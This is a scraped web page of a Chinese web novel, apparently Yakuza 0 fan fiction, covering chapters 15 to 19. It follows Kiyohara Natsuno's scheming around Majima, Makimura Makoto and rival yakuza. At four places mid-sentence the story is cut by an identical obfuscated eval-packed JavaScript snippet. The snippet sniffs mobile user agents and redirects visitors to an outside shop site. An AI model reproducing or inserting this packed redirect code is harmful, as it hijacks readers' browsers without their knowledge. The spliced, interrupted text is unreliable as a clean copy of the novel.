在原来的世界,他的父母离婚后各自有了新的家庭,他们离开的时候清原夏野还没到可以吃甜食的年纪,从没有人给他买过生日蛋糕。 如果我曾经得到过,此刻是否就能坦然接受呢。 真岛敏锐地捕捉到他眼中一闪而过的复杂情绪,再联想到清原夏野那对高管父母常年在国外,恐怕没有人会想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517856|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着给这小孩过生日,他在心里长叹一声,轻轻地捏了捏清原的肩膀,随即又松开。 “再不许愿的话蜡烛就要灭咯。” 清原夏野点点头,他双手合十,默默在心里许下愿望:希望可以顺利收集满虐心值,拿到十兆日元回去。 ——想要送一件能够陪伴他久一点的东西。 真岛今晚翘班给清原夏野挑选礼物时,脑子里突然浮现这样的想法。 他最后买了一块有着灰色表盘的名牌手表,很贴合清原夏野本人的气质,最重要的是款式经典又不乏雅致,可以戴很多年不会过时。 “我很喜欢,但比起这个——”在真岛震惊的目光中,清原慢慢捧起他的手掌,用脸颊贴了上去:“我真正想要的是你。”…的虐心值。 真岛狼狈而逃。 清原夏野倒在榻榻米上,笑得连眼睫毛都在颤,系统被他突如其来的发疯吓得心惊胆战,直到清原夏野不再发笑才敢向他搭话。 「你刚才为什么要和真岛告白,你不会因为他对你的态度比别人好一点就爱上他了吧?」 「你在想什么有的没的。」清原夏野盯着天花板,幽幽的眼光好似择人而噬的饿狼:「又是买蛋糕,又是送临别礼物,要是我没猜错,他下一步是要我离开GRAND吧,我要是再不做点什么出格的事情,没准就真让他如愿了。」 系统感受到他话中的寒意,不自觉地打了个冷颤。 “但又怎么可能呢?”清原夏野轻声地说:“在没薅到令我满意的虐心值前,我是不会停手的,毕竟,那可是主角啊。” 第二天上午,清原接到店长打来的电话让他去GRAND,说是这家店的老板要和他聊一聊。 他一路上还想着佐川司这个极道大佬怎么突然找自己,总不会是假扮牧村实的事情败露了。 佐川司一个人坐在二楼的休息室里抽着烟等着他,清原沉静地走过去,兵来将挡,他已经准备好了应对的说法。 不想佐川司说的第一句话竟是:“你喜欢真岛那家伙?” “嗯。” 探究的眼光落在清原夏野身上,佐川司迷惑地上下打量着他。 “真岛足足比你大了七岁。” “我知道。” “他之前是道上的人,做了不少脏事,全都讲出来能把你吓破胆哦,而且,他现在也想回来继续当极道中人呢。” “我知道。” “你这副模样,有好家世,又有好前途,要是现在肯放弃,以后定不乏比他好得多的伴侣。” “我知道。” 窗内人的一句句回应和窗外人的一声声心跳融为一体,真岛咬紧了烟,在滤嘴上留下了一道深深的齿痕。 清原的父母都是大公司的高层,以他的偏差值可以考上全日本最好的大学,未来一定是平坦通达的大道在等着。 他不会允许清原夏野的人生有任何一丝污点,就算那是他自己也不行,认识他这种人已经是错误了,所以他不想让对方走进自己的世界,最好连靠近都不要。 16.第 16 章 全都知道,全都执迷不悟,佐川司简直要被他气死。 “你迷恋这种人,能指望有什么结果呢?难道要他一个曾经的极道和你一个没有任何污点的学生说想要一直和你在一起吗?” “能够来到这里,能够遇见他,我想这就是我的命运。至于会不会有什么结果,我想该由他自己来说比较合适吧?” 说着,清原夏野迅速几步走到临街的窗边,一把拉开窗帘。 真岛被抓到在阳台上偷听,却一点愧疚都没有,表情坦然至极。 “去吃午饭吧。”他按熄抽到半截的烟,放到便携式烟灰盒里,抢在清原夏野质问前发出邀请。 清原默不作声地转身朝着门口走去,真岛三步做两步追上他,只见他低着头,脸色煞白。 “我待会一定和你解释,”真岛下意识地一把抓过他的手腕,大脑已经停止了思考,只剩嘴唇还在急切地上下开合:“可以先去外面等我几分钟吗?” 清原夏野皱眉:“你先松开手。” 真岛慢慢放开桎梏着他的手掌,清原夏野走到楼梯口,抱着双臂站在那里,扭过头看着窗外。 “清原虽然也是个男人,不过长得实在是好看,真岛老弟,你可真是艳福不浅呢。”真岛一关上休息室的门,迎接他的便是佐川司轻佻的调笑。 “佐川大哥,我请您来是让您劝他放弃的吧。” “我劝了,你看有用吗?”佐川司悠哉地抽着烟,斜眼睨着他:“干什么让我来当这个恶人,你直接骂他是个麻烦鬼赶他走好了,只要你态度够强硬,他肯定没脸再留下了。” 真岛垂下的双手紧握成拳,只感觉心脏快要炸开了。 不行——他又如何说得出口。 “我说,你干嘛不干脆陪他玩一玩呀?顶多是被人嚼舌根而已,像你这样的人是不会在乎的吧,人生苦短及时行乐嘛,更何况他长得那样漂亮,连我也要动心呢。” 真岛浑身都僵硬了。 “这不行,他和我不是一个世界的人。” “你们两个都一样倔,呵,简直是一对犟驴。”佐川冷笑一声:“我想不出来还能再说什么了,你自己看着办吧。” 走到门外,佐川又忍不住想,大概要再过上个十年,这小孩才能发觉真岛的拒绝是为他好。 只是不知十年后又是如何光景。 「韩来」烤肉店里。 “之前来这家店的时候就觉得很好吃,想着一定要带你来吃吃看。”真岛熟练地翻动着烤架上的肉片,挑出已经烤熟的堆到清原夏野的盘子里。 “是没睡好吗?”清原夏野没有动筷,他撑着头,感兴趣地盯着真岛眼下的青黑。 真岛眨了眨满是血丝的眼睛,含糊地应了一声,他离开公寓后,找了间桑拿房小睡了片刻,睡得并不舒服。 他已经下定决心,必须要让清原夏野离开大阪这个是非之地,今天找到佐川司也是几经思考之后才下的决定,万一佐川司追问起让清原夏野离开的原因,他也可以借口实在没办法和对自己抱有好感的员工一起工作。 如果哪天他因为放过牧村实而丧命,至少可以保证清原夏野不受牵连。 “我和佐川司说的那些话,你都听到了吧。”清原夏野又问。 “唔,是啊。” “所以呢,你是怎么看待我的?” 真岛无奈地笑笑:“你现在对我感兴趣,不过是因为你经历的还太少了,等你成年进入社会、看到更加广阔的世界,到时候会知道我这种人就是最底层的渣滓。天涯何处无芳草,清原啊,不要把你宝贵的青春浪费在我这样的大叔身上。” 经历塑造性格,真岛看上去老成持重,实际也不过24岁而已。 “但你是独一无二的。”清原夏野斩钉截铁地说。 殊不知他越是坚定,真岛心里就越是焦灼不已。 少年眼中溢出的期待几乎要烫伤他,想必当他以后遇到形形色色的人,这份热情也会随着时间冷却吧。 “东京还有你喜欢的女孩子。”真岛提醒他。 “没有喜欢的女孩子,当时那么说是为了要接近你。真岛你是没办法接受同性恋吗?” 真岛苦笑:“没有那种事。” 同性恋虽然仍然为这个时代所不容,但在极道的世界并不罕见,兴许是因为走上这条道路的人大多是社会的异类,因为知道自己随时会死去所以随心所欲的活着。仅仅是和男人搞在一起,相比于杀人放火的恶行来说已经是最低程度的离经叛道了,像是佐川司说的,被别人知道了最多不过是被嚼嚼舌根。 但清原夏野不同。他是注定要踏入正常人的社会中的。 一旦被发现曾经是同性恋,情人还是令人不齿的极道中人,他就会没法在社会上立足,父母会羞于承认有这样的儿子,身边的人也会排斥他,他的一切努力都会化为乌有,整个人生都会被毁掉,真岛无论如何也不想他落入这般境地。 “那么你是有其他喜欢的人吗?” 真岛想着得赶快让他放弃才行,仓库里那个盲女的脸浮现在他脑海中。 “我最近遇到一个年轻女孩。”他犹豫着开口:“她个性温柔可爱,眼睛看不见这一点也和我的经历很像,让我很想要保护她。” 系统一直在偷偷看热闹吃瓜,看到这里狠狠震惊了。真岛不知道他见到的那个「牧村实」也是清原夏野假扮的,误打误撞之下竟和正主当面表白。 它美滋滋地往嘴里扔了一颗数据巧克力,等着看清原夏野自爆身份,二人高高兴兴达成HE。 而清原夏野听完脸色沉下来。他和真岛没有类似的遭遇,也谈不上共情,眼盲和怯懦也都是装出来的,他只是扮演「牧村实」,从来不觉得自己就是牧村实。 “你说的对,我还这么年轻,以后有的是人爱我,真岛先生,我要辞掉店里的工作,以后不会再来了。” “小夏…” 真岛欲言又止,他不知道该说什么。 “我不叫小夏,不要用这个名字叫我。”清原夏野冷冷地丢下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538114|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样一句话。 走出烤肉店的门,清原随便转过几条街,找了个公共电话亭,用bb机给立华铁发去消息,不多时,立华铁的电话便打过来了。 “立华社长,我是清原。” “是清原先生啊,你那边怎么样,还顺利吗?”立华铁温和的声音里透着几分疲惫,能听出他这几天怕是不太好过。 “我已经把小实小姐藏到了安全的地方。”清原夏野说,他隐瞒了把牧村实送去东京的事。 “辛苦您了,我们正在想办法解决东京这边的事,要是进展顺利的话,明天尾田先生和桐生先生就会出发去大阪接应您。” “社长,不用留下一个人保护你吗?” “没关系,我会先找个安全的地方藏起来,堂岛组那些人找不到我的。” 真能立flag,也不知道这人是真不在乎自己的命还是太自以为是。清原夏野撇撇嘴挂断电话,挑了个没人的小巷子钻进去。 「把我传送到东京吧,不出意外的话牧村小姐那边也已经到了,我要亲自过去接她,其他人我都不放心。」他对系统说:「麻烦再帮我盯着点真岛,他要是接近仓库那边就马上把我传送回来。」 「没问题,你也真够拼的。」系统啧啧称奇:「你刚才的演技真的很真,要不是我亲眼看到你在镜子前练了一早上表情管理我就信了。」 「我现在有多少虐心值了?」 「84。」 清原夏野估算了一下,脸上露出一丝笑意:「仅仅一上午就刷到了50多个虐心值,我真厉害。」 系统这次却没有顺着他的话夸赞,而是沉默了半晌。 「清原。」 「干嘛?」 「虐心值这种东西是在直观的反映你的痛苦程度,你刚才心里很难受吧。」 清原夏野想了想,面上显露出一丝讶异:「说实话我一点都不觉得难受,你们的虐心值检测装置是不是坏掉了?」 传送装置恰巧在这时启动了,系统忙着调整目的地,没听到他的话。 清原夏野消失在了巷子深处,再睁眼,他已经到了东京市中心豪华酒店的地下车库。 等了二十分钟,一辆东京车牌的出租车从车库入口驶进来,停在他面前,司机先走下车。 “按照您的要求,我们在进入东京前换了车,这位小姐一根寒毛都没有伤到哩。” 清原夏野目光扫过两个保镖,没有在他们身上看到冲突的痕迹,他们这一路应当没被极道的人缠上。 他打开后座的车门,扶着牧村实下车。两个保镖收好酬金尾款,重新坐上出租车,点燃引擎,尾灯消失在了出口。 立华铁大张旗鼓地和堂岛组争「空白的一坪」,早就被盯上了,他现在自身难保,把牧村实送回去反而更不安全,清原夏野打算独自带着牧村实先转移到别处。 “清原先生?” “我在,你不要害怕,现在已经到东京了。” “嗯。”牧村实苍白的脸上露出了笑容。 17.第 17 章 郊外的二层别墅里。 清原夏野把二楼最后一面窗帘拉严。他最后还是带着牧村实回到了自己的家里,「清原夏野」这个名字可以说是和极道毫无牵扯,比起其他能用的地方,他家里反倒是最安全的。 一切都做完后他下到一楼,牧村实局促地坐在客厅组合沙发的一角。 清原夏野叹息一声,他走进厨房捣鼓了一阵,端着两个瓷杯出来。 他隔着毛衣抓起牧村实的手腕,把温热的红茶塞进她的手中:“好了,到了这里就可以放心了,拿着暖暖手吧。” 牧村实道了声谢,又问:“这是清原先生的家吗?” “是啊,”清原夏野在她对面落座:“怎么猜到的?” “房间里有你的味道呢。”牧村实轻声说,说完又自觉失言,苍白的脸上泛起一丝红晕。 “你还得在这里待上几天,我得出去找机会把你哥哥带过来。”清原夏野笑笑,用指腹摩挲过温热的杯壁:“你无需拘束,需要什么随便取用即可。” 牧村实低下头,抿了抿嘴唇:“现在外面很危险吧…之前那些人是不是还没有放弃抓我?” 清原沉默片刻,还是决定告诉她事实:“现在东京的极道也在四处搜寻你的下落,你哥哥一直在和他们抗争,他的处境并不算安全,我没有一到东京就把你送到他身边也是考虑到这一点。所幸他们都以为你还在大阪,不会想到你已经来到东京了,至少近期不会有人找到这里。” “我之前根本没有听说过祖父去世的事情,因为祖父那块我从来没听说过的土地,害得我被牵扯进这样的事件,连和我走得近一点的人都会被连累…再多的钱也无所谓了,麻烦尽快让我把这块地脱手,拜托了!” “你的心情我也明白,等到和立华先生会合,我们再一起想办法解决那块地的事情,好吗?” “那清原先生呢?就这样去找哥哥的话你也会被那些人盯上,清原你其实不擅长打架吧,你会受伤的…” 牧村实的声音急切中带着一丝颤抖。 被清原夏野从按摩馆带走后,她一度想过,这个人带她去哪里都好,只要能让店长不被她连累,哪怕把她再卖到魔窟里也好。但几次接触后,她能感受到清原是真心帮她,而且清原身上有着一种能令人安心的气场,让人不知不觉开始依赖他。 “我确实没有打架的才能,”清原在牧村实面前半蹲下来,牵着她的手放到自己的额头上:“但与人相争不单单是比谁拳头大,这里——也是人的力量。” 牧村实露出一个苍白温柔的笑容,她的手指久久地停留在清原的额角,像是要用指尖记住他的体温一样。 “ 不用担心,实小姐,你需要做的就是在这里按时睡觉、按时吃饭,健康开心的度过这几天,我说了会让你见到你哥哥,就肯定会办到。”清原说:“要相信我吗?” “我相信你,清原先生。” 清原夏野走在神室町大街上。 要是他没有猜错,立华铁应当正在华人聚集的亚细亚街接受两天一次的透析,他准备以探望作为借口到亚细亚街一探。 两个上班族打扮的男子走出餐馆,从他身边路过。 “你看晨间新闻了吗?大阪苍天堀那边出命案了,死了一个女人。” “我也看到了,那边可真不太平,最近没什么事还是不要去大阪了。” 清原眼神一凛,他这几天对“苍天堀”这个词特别敏感,他在附近搜寻,很快找到了一家有电视的商店。 电视中,女主持正在播报着晚间新闻。 “…关于今天凌晨,在苍天堀川发现的年轻女性遗体,从死者衣着等各方面因素研判,死者身份疑为牧村实小姐,现年20岁,根据大阪府警方表示,牧村实小姐遗体上验出严重伤迹,全案现正朝卷入纠纷遭到谋杀的方向侦办…” 他要求李文海放弃杀了那个女人当替死鬼的想法,为了避免出什么差错,李文海纸袋里的偷拍照片和工作服他也亲眼盯着烧掉了。 难道李文海后来又找到真岛要他配合杀人? 不,真岛不会听李文海的,虽然是个前极道,但他也是个相当有原则的人,不会滥杀无辜。 现在不能去找立华铁了,他需要立即回到大阪苍天堀确认情况, 「畅快馆」店里开着灯,李文海低头坐在按摩床上抽烟,看到清原夏野推门进来,他激动地丢下烟站起身。 “清原!我一直联系不上你,还以为你被杀了。” “如果死的人是我,那么新闻就不会播报「年轻女性遗体」,而是「年轻男性遗体」了。”清原说。 “也是,难道是小实那边出了什么问题?”李文海握紧拳头,为这一可能的最坏状况绷紧了神经:“我是亲自看着她的车子离开苍天堀的。” 他显然更在乎牧村实的死活,这也是人之常情,清原并不和他计较:“实小姐已经到东京了,我想,尸体应该是照片上那个女人。” “我没有杀那女的,”李文海赶紧说:“我听了你的劝,后来也没去找那个独眼的经理提这事儿。今天早上有条子拿着照片到店里找我确认身份,虽然脸已经血肉模糊了,但她身上穿的就是畅快馆的衣服,不会有错的。” 清原突然问道:“这样的衣服店里一共有几件?” “除了被你烧掉的那件,我还给小实准备了一件用来换洗,喏,她平时的东西都放在那边的铁柜子里。” 清原走到牧村实的储物柜前拽开门,果然,原本挂在那里的工作服不翼而飞。 他回头看向傻眼的李文海:“你这几天白天都在外面,极道的人想要进来偷一件衣服应该很容易吧。” 虽然作为替死鬼的那女人的照片被自己销毁了,没有落到西谷誉手中,但西谷誉一伙人早就盯上了李文海,在李文海蹲守偷拍照片时,他们大概也跟在后面盯梢吧。 李文海一脸不可思议:“你是说,是极道中人偷走了衣服,伪造了小实的尸体?可他们为什么要这样做?先不管杀人的是东城会还是近江联合,现在那女的死了算是帮了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548477|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的忙,他们怎么会这么好心?” “恐怕不见得是好心。”清原夏野轻声说:“现在还没有人找上你,提出价码,只能说明他们要找的另有其人。” 他的目光穿透窗外的黑暗,落在远处灯火通明的欢乐街。 “客人,这位客人?”店员担忧的脸在眼前不断放大。 真岛吾朗猛地一颤。 “哦,我没事。”尽量保持着平静的语调和神态,他抓起买的东西走出便利店。 他只是随便买瓶功能饮料,就从便利店的电视里听到了“牧村实”被杀的消息,他第一反应就是会不会是清原夏野被害了,他和仓库里的牧村实长得那样像,又和自己走得那样近。 佐川司会不会早就发现了他偷藏牧村实的事,所以拿清原开刀震慑自己? ——想要去大阪警察署看看,他脑子一片木然,机械地呼吸着。 冷静,得冷静下来。 就算这样冲去警察署,又该以什么身份去辨认他的尸首。 尸体验出严重伤痕——医院肯定已经验过尸了,既然新闻里明确地说遗体是年轻女性,那就不是清原。 而且尸体是凌晨发现的,那个时候自己在给清原夏野庆祝生日,他又怎会跑到苍天堀川那种地方去。 真是疯了。 真岛抬手狠狠抹了把脸,皮鞋鞋尖碾熄脚边的烟蒂,这个时候了,头脑还是不够清醒,仅仅因为一个不切实际的猜测就自乱阵脚。 ——我不叫小夏,不要用这个名字叫我。 和那柔和的面容毫不相衬的锐利目光,几乎要把人的皮肤割破。 距离他们在韩料店的最后一面已过去了七个多小时,真岛下午回到公寓时,清原带来的行李箱被带走了,真岛送的生日礼物——那块手表,却和其他客人送的礼物一起被留了下来,整整齐齐摆在桌面上。 他已经回到东京了吗? 真岛强迫自己收起漫无边际的妄想,犹豫着是先去仓库确定一下「牧村实」的安危还是找到李文海问问现在是什么情况。 bb机响了,上面显示出一串陌生的号码,真岛找了一个最近的电话亭回拨回去。 “你收到我送的礼物了吗?”电话那头是一个陌生的男人声音。 “你在说什么?” “还能有什么事,就是牧村实的尸体啊。” “什么意思?”真岛心跳快了一拍,眉头拧得更紧。 “这样一来,那女孩就算已经死了,这样你的雇主应该也就心满意足了吧,你也不必担心会被灭口了,该好好感谢我才对吧。” “你到底是什么人?有什么目的?”真岛咬牙切齿地问。 “我想和你谈笔交易,”如同从地狱里传来的笑声,男人的恶意从电话线里传了过来:“其实呢,现在我人正在你们家店里喝一杯。” “你在GRAND?” 轻浮的大笑和女人的娇呼代替了回答,半晌,电话那头传来懒洋洋的声音:“这家店可真不错啊,真岛老弟。” 18.第 18 章 「现在要做什么?」系统问清原夏野,后者小心翼翼地放下李文海停在「畅快馆」前门那辆面包车的引擎盖。 「当然是回仓库等着被抓。」清原夏野回到按摩店洗掉手上的油污:「在此之前,可以把我送到神室町的亚细亚街一趟吗?我还剩件事没有办。」 走进亚细亚街,清原瞬间感觉到被数道目光盯上,拐角处手持铁棍的壮汉、楼上收被子的女人、蹲在地上玩沙子的小孩,他们就这样默默注视着清原夏野,也不与他搭话。 “欢迎光临。” 面馆里传来邓丽君的歌曲,一个穿着蓝色棉衣的中年女人在收拾桌上的调料罐。 “请问陈先生在吗?” 清原夏野的普通话一出口,女人就露出了吃惊的表情。 “请稍等。” 她匆匆走进里间,几分钟后,布帘掀开,走出一位须发皆白的长者,银丝边眼镜,精神矍铄,正是亚细亚街实际的话事人陈老爷,他是旅日华侨的三大长老之一,这里的中国人,无论是平民还是流氓,都不敢违抗他。 “陈老,久仰了,我是立华先生的合伙人清原夏野。” “你就是清原?我早上还听立华社长提起你,说你最近可能会过来找他,要我代为招待,没想到你这么年轻,人长得也斯文。” 陈老爷在桌边落座,示意清原夏野坐到他对面,中年女人端上来一壶茶水。 “东城会这几天会派名为「老鬼」的杀手追杀立华先生,请您继续给立华先生提供庇护,不让他被东城会派来的杀手带走。”清原夏野道出了自己的真实来意。 他也和立华铁提过花钱收买「老鬼」让对方反水,被立华委婉否决了。「老鬼」的信誉在业内都是一等一的,只要是他接下的委托就一定会不遗余力完成,在明知「老鬼」已经接下东城会委托的情况下,贸然去接触对方无异于去送死。 “要是我们直接对堂岛组动手,东城会也就不会允许亚细亚街存在了,清原小哥你也明白的吧?”陈老爷看着清原夏野,啜着茶水:“我挺喜欢立华那孩子,不过,既然是「老鬼」出马,谁也没有办法啊。” 立华铁一直以来都很守规矩,给亚细亚街交了不少上缴金,他也认可立华的气量,从这个年轻人身上看到了振兴华人帮派的希望,甚至想要立华接替自己的位子。 “当你们躲在这个小巷子里时,外面的日本人已经赚到盆满钵满了,你们准备一直在东城会的控制下心惊胆战过日子,难道不想在歌舞伎町多分一杯羹?” “你不用激我,”陈老爷微微摇头:“我已经到了这把年纪,不再像年轻时那样有魄力了,只想待在自己熟悉的这块地方,我们中国人有句老话,十分伶俐使七分,长留三分与儿孙,若要十分都使尽,远在儿孙近在身嘛。” 陈老爷的反应倒也在清原夏野的意料中,他拿起自己面前的茶杯喝了一口,瞥了一眼门外玩沙堆的男孩。 “我不懂那么复杂的东西,只是略懂一些你们中国的成语,像是「孟母三迁」——当时看到这个故事的时候我就在想,中国真是个注重后代的国家啊,为了孩子得到更好的未来能够不惜一切。”他从手提包里拿出新买的「戴亚可隆」机器人玩具,慢条斯理地拆着包装:“恕我直言,亚细亚街可不是个适合小孩成长的环境,您打算让您的子孙后代,都世世代代生活在这个社会的底层、被日本人踩在脚下吗? 陈老爷沉下脸来。 “日本人,注意你的言行。我还没把你赶出去是因为你是立华的朋友,你再对我们的生活指手画脚,小心我不顾及立华的情面。” 从后门涌进几个男人,他们站在陈老爷身后,满脸杀意地看着清原夏野,清原不做理睬,专心拼装手上的机器人。 门外玩沙子的小男孩蹬蹬跑进来,他注意到清原夏野手中摆弄的东西。 “你拿的是什么?” “这是戴亚可隆。” “带牙…可龙?” 男孩搓了搓手上的沙子,死死盯着清原夏野手里的玩具,脸上露出极度渴望的表情。 “不劳烦你们请我,话说完了我自然会走。”清原夏野站起身来,把机器人递给小男孩,向陈老爷深鞠一躬:“堂岛组的人迟早会找到这里,您收留立华先生的事也会被发现,既然被堂岛组迁怒在所难免,我想要请您再帮我们一个忙,不需要正面对付「老鬼」,只要尽量帮我们拖延时间逃跑即可。” 陈老爷犹豫不决,手上缓缓转动着茶杯。 “我们从前在神室町这里,也曾经和极道是不分轩轾的,但是后来却被堂岛组以力量压制下去,包括妇孺都流了很多的血,最后逼着我们只能过见不得光的生活,之后,失去了力量的我们,一直都只能龟缩在狭小的亚细亚街里,从旁看着日本人随着时代越来越富裕。” “您既然已经在立华先生身下下了注,为何不再加些筹码呢?”清原夏野见他意动,乘胜追击道:“赌他能够取得和东城会抗衡的力量、赌他能把你们带出亚细亚街,毕竟他今年刚刚二十五岁,正是潜力无限。” “清原先生你真的是日本人吗?”陈老爷问。 “没错,但我只想要立华社长安全,至于是中国人还是日本人得到歌舞伎町,于我而言并无分别。” “我并非怀疑你,只在可惜罢了,可惜你不是中国人,否则我会优先考虑你来做我的继承人。”陈老爷长叹一声:“立华那孩子还是太重情义了,人如果太重感情就会变得软弱。你这人也讲道义,但又实在不是什么善茬,和我年轻的时候很像。” “立华先生帮了我们很多,现在他有困难,我们理应出手相助,难道不是吗?”他转向身后的几个壮汉:“从今天开始,你们跟着清原先生做一段时间。” “这几个人都是我们亚细亚街打架的好手,需要做些什么,放心指派他们好了。”他又对清原夏野说。 清原夏野露出了浅笑:“真不愧是陈老爷,气量够大。” 他匆匆离去,陈老爷放下茶杯,背着手,慢吞吞地踱到门口,在他目所能及的一小片天空上,乌黑的云层巨浪一样压下来,沉甸甸地扼住了整个城市的呼吸。 “这个年轻人,会在神室町掀起风暴吧。” * 真岛步伐沉重地走上GRAND的二楼,朝着经理休息室走去。 之前给他打来电话的人是近江联合直属鬼仁会的会长——名叫西谷誉,直言真岛在按摩店修理的那伙人是他派去的、苍天堀那里死去的女人也是他们杀的,他已经知道了牧村实现在在真岛那里,要真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564552|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岛把牧村实交出来。 ——你们为什么要找那个女的? ——喔!这可不能说啊,我们也是受人之托在办事,不过也是啦,真岛老弟也想知道是吧?那就动手从我口中打听看看吧! 真岛不为所动:“我不会在店里对客人动手。” “你的作风我很欣赏,可是真岛老弟,我真的等不及和你打一架了嘞!”西谷露出苦恼的表情,他抓起桌上的大哥大按了几下。 “喂,警察,我是夜总会GRAND的经理,现在有个脑子怪怪的流氓在我店里动刀子呀!不,根本不是客人!是强盗呀!请快点过来帮忙!” “嘻嘻,这样我就不是客人啰,而是条子都认定的,实实在在的强盗喔。”放下大哥大,西谷满脸计谋得逞的笑意:“就算是经理,也没有规定不能揍强盗吧,毕竟要保护重要的店啊。” 西谷如愿在店里大闹一番,被真岛打倒在地,又被赶来的警察带走了。 简直是个随心所欲的疯子,真岛疲惫地想,最后西谷也没有说出找上牧村实的原因。 应付完西谷,又被等在休息室里的佐川司一通盘问,真岛尽量冷静谨慎地应答,尽量不被佐川逮到破绽。 ——杀掉牧村实之后为什么不马上汇报? ——白天忙起来不小心忘记了。 ——为什么要打烂尸体的脸却让她穿着工作地点的衣服? ——因为是第一次杀人,所以自己也记不清楚了。 ——刚才在店里和鬼仁会的会长吵些什么? ——就只是在店里面闹而已,可能是喝酒喝得不开心吧。 真岛不知道佐川司有没有相信,但以他对佐川的了解,今天的盘问绝不会是临时起兴,很有可能那家伙已经察觉到自己放过了牧村实没有杀掉。 他怀着重重心事走出GRAND,险些与迎面跑来的一人撞上。 “啊,店经理,等一下,真是刚好。” 来人气喘吁吁的说,真岛认出他是麻将馆「雀蔷薇屋」的密医,前天他去找李文海时见到过这个人。 “李先生在哪,我要去送药给他,止痛药没了,他一直说会过来拿,可是一直没来啊?”男人一脸焦急:“李先生怎么了吗?我很担心!李先生在哪里?” 难不成这两天李文海又去做了什么危险的事情?真岛心下嘀咕。 看到密医慌里慌张的样子,他便答应下来:“我知道了,我正好要去找他谈事情,那我就顺便去送药,你现在身上带药了吗。” 真岛揣着药来到仓库,李文海和伪装成「牧村实」的清原夏野坐在沙发上。 “麻将馆「雀蔷薇屋」的密医让我把这东西交给你。”真岛从口袋里掏出止痛药的小瓶子递给李文海。 “哦?止痛药?这种东西也用不上嘛。”李文海接过药瓶,看了一眼,随手把它放在茶几上。 “止痛药?李先生,那个密医怎么会给你止痛药?你有哪里受伤了吗?”清原夏野轻声询问。 李文海本来没有在意,被他这么一提醒,脸色骤变。 “我没有受什么伤,根本用不上止痛药。”他猛地站起身来:“那个密医肯定是想要跟踪你找到这来,这个地方已经暴露了,我们现在赶紧带着小实离开这里!” 19.第 19 章 逃亡、遭遇、打斗、再逃亡,一切都好像是那一夜的重现。 系统说全盲实在太危险,坚持给清原夏野恢复了部分视力,街灯煌煌间,他只能看到真岛一个模糊的背影,但他知道只要在这个人身边,就没有谁能伤害自己。 心跳加速、呼吸急促,吊桥效应之下,清原夏野只感觉自己被切割成了两部分。 ——扮演着「牧村实」的我是如此憧憬你,身为「清原夏野」的我却对此一无所感。 “要上了。”真岛低声说。三个混混挡在去「畅快馆」的路口,只有打趴他们才能过得去:“躲在我后面。” 清原夏野依言后退。另一边,李文海喘着粗气,从拐角处跑来。方才为了引开追兵,他和真岛分开行动,约定在这里会合。 他看三个杂兵不是真岛的对手,便放心让他自己去应付。他扫了清原一眼,看他没受什么伤,也就放心下来。 “你在这里等一等,我去开车…”。话没说完,李文海看到了前方的景象,声音骤然顿住。 按摩馆门口远远围了一圈看热闹的闲人,在火光中熊熊燃烧的,不正是他那辆小型货车的残骸? “这是怎么回事?”李文海瞠目结舌,低声问清原夏野。 “我不小心把你的车子搞漏电了,其实那点电也不会把人电死,但动你车的那家伙口袋里放了雷/管,他一打开车前盖,然后就——嘭!”清原夏野说着,脸颊被火光染上亢奋的潮红:“你不会怪我毁了你的车子吧?” 他在微笑,那是蜘蛛对落网的猎物露出的微笑。 李文海一时哑然,真岛杀个人犹犹豫豫,这小子做局把人炸死,连面色都没变上一变。 不知道那个倒霉鬼是谁派过来的,想要用雷/管害人反倒为人所害,也算是咎由自取。 “要不是你警惕,死的就会是我了。”李文海低声说:“你可真是天生的极道。” “嗯?你说什么?” “没什么,我在夸你厉害。”这时真岛解决了挡路的家伙,朝他们这边走了过来,李文海赶紧岔开了这个话题。 “我的车被人炸了。”他对真岛说:“搞不好还会有人来追杀,我们得找其他车出城了。” “追杀你们的是近江联合直属佐川组的家伙。”真岛说:“和我打架的人里有几个眼熟的家伙,他们都是佐川组的人,之前佐川司派他们监视我。” “真岛你不一起走吗?继续留在苍天堀的话,佐川组不会放过你的吧。” 